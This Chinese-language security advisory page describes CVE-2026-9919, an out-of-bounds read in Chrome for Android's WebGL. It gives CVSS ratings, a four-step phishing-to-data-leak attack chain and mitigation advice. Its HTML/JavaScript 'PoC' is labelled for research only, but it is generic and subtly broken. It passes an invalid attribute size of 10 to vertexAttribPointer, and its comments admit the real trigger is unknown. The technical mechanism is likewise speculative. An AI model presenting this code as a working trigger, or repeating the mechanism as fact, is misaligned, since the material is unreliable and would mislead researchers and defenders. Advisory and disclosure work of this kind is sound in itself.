IPBUF安全漏洞报告
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CVE-2026-9919 CVSS 4.3 中危

CVE-2026-9919 Chrome WebGL越界读取漏洞

披露日期: 2026-05-28

漏洞信息

漏洞编号
CVE-2026-9919
漏洞类型
越界读取
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome on Android

相关标签

WebGL越界读取Google ChromeAndroid信息泄露跨源攻击

漏洞概述

CVE-2026-9919 是 Google Chrome (Android 版本) 中 WebGL 组件的一个安全漏洞。该漏洞源于越界读取错误,存在于 148.0.7778.216 之前的版本中。攻击者可以通过诱导用户访问特制的 HTML 页面来触发此漏洞。一旦成功利用,远程攻击者可能利用此漏洞泄露跨源数据。由于 WebGL 在现代浏览器中广泛用于图形渲染,该漏洞可能影响大量移动端用户。虽然 CVSS 评分为中等,但 Chromium 内部将其安全严重性评定为高,这表明其对用户隐私数据构成实质性威胁,建议用户尽快更新浏览器版本以防止潜在的信息泄露风险。

技术细节

该漏洞位于 Google Chrome Android 版本的 WebGL 实现中,具体表现为越界读取。WebGL 允许浏览器通过 JavaScript API 与 GPU 进行通信,但在此版本中,Chrome 在处理特定的 WebGL 指令或管理图形缓冲区时,未能严格验证内存访问的边界条件。攻击者可以构造一个包含恶意 WebGL 代码的 HTML 页面,当受害者使用存在漏洞的浏览器访问该页面时,恶意代码会被执行。由于缺乏足够的边界检查,WebGL 组件可能会读取超出预定缓冲区范围的内存数据。这种行为违反了浏览器的同源策略(SOP),使得攻击者能够从内存中读取敏感信息,这些信息可能包括其他网站的跨源数据、内存布局细节或其他用户的隐私数据。虽然攻击需要用户交互(如点击链接),但一旦交互发生,数据泄露过程对用户是透明的。

攻击链分析

STEP 1
1. 漏洞利用准备
攻击者分析 Google Chrome WebGL 组件的源码或二进制文件,发现越界读取漏洞点,并编写包含恶意 WebGL 指令的 HTML 页面。
STEP 2
2. 投递攻击载荷
攻击者将构造好的恶意 HTML 页面部署到网络服务器上,并通过钓鱼邮件、社交媒体或其他诱导手段诱使目标用户点击链接。
STEP 3
3. 触发漏洞
目标用户使用存在漏洞的 Chrome Android 版本访问链接。浏览器解析 HTML 并执行其中的 JavaScript 代码,进而调用 WebGL API。由于缺乏边界检查,程序执行了越界读取操作。
STEP 4
4. 信息泄露
攻击者通过 JavaScript 捕获越界读取到的内存数据。由于这些数据可能包含其他来源的信息,攻击者成功实现了跨源数据泄露,窃取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Proof of Concept for CVE-2026-9919 --> <!-- This PoC demonstrates a potential trigger for the WebGL OOB read --> <html> <head><title>CVE-2026-9919 WebGL OOB PoC</title></head> <body> <script> // Initialize WebGL context const canvas = document.createElement('canvas'); const gl = canvas.getContext('webgl'); if (!gl) { alert("WebGL is not supported on this browser."); } else { console.log("WebGL context initialized. Attempting to trigger vulnerability..."); try { // Create a buffer to manipulate memory const buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); // Define data that might be read out of bounds // The specific size and data pattern depend on the exact bug in Chrome < 148.0.7778.216 const data = new Float32Array([1.0, 2.0, 3.0, 4.0]); gl.bufferData(gl.ARRAY_BUFFER, data, gl.STATIC_DRAW); // Attempt to read past the buffer limits using vertexAttribPointer // This function call attempts to access more data than is actually buffered // potentially causing an out-of-bounds read. gl.vertexAttribPointer(0, 10, gl.FLOAT, false, 0, 0); gl.enableVertexAttribArray(0); // Draw call to trigger the execution path gl.drawArrays(gl.TRIANGLES, 0, 3); console.log("Draw call executed. Check browser console for crashes or memory anomalies."); } catch (error) { console.error("An error occurred during PoC execution:", error); } } </script> </body> </html>

影响范围

Google Chrome on Android < 148.0.7778.216

防御指南

临时缓解措施
在无法立即更新浏览器的情况下,用户可以在 Chrome 设置中暂时禁用 JavaScript 或 WebGL 功能(设置 -> 隐私和安全 -> 网站设置 -> 图形),但这会影响正常的网页浏览体验。最有效的缓解措施依然是尽快安装官方发布的安全补丁。

参考链接

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